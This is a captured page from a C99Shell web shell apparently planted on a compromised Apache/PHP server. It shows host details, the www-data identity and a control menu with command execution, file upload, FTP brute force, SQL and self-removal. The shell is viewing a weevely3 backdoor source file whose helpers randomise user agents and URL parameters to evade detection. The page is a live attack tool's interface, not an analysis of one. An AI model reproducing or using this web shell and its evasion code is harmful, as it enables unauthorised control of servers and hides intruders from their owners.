!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/pmb/weevely3/src/weevely/utils/   drwxr-xr-x
Free 12.97 GB of 57.97 GB (22.37%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     http.py (1.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import os
import random
import string
import urllib.error
import urllib.parse
import urllib.request

from weevely import utils
from weevely.core import config
from weevely.core import messages
from weevely.core.weexceptions import FatalException


agents_list_path = "utils/_http/user-agents.txt"


def load_all_agents():
    try:
        with open(os.path.join(config.weevely_path, agents_list_path)) as agents_file:
            return agents_file.read().split("\n")

    except Exception as e:
        raise FatalException(messages.generic.error_loading_file_s_s % (agents_list_path, str(e)))


def add_random_url_param(url):
    random_param = "%s=%s" % (
        utils.strings.randstr(n=4, fixed=False, charset=string.ascii_letters),
        utils.strings.randstr(n=10, fixed=False),
    )

    if "?" not in url:
        url += "?%s" % random_param
    else:
        url += "&%s" % random_param

    return url


def request(url, headers=[]):
    if not next((x for x in headers if x[0] == "User-Agent"), False):
        headers = [("User-Agent", random.choice(load_all_agents()))]

    opener = urllib.request.build_opener()
    opener.addheaders = headers
    return opener.open(url).read()

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--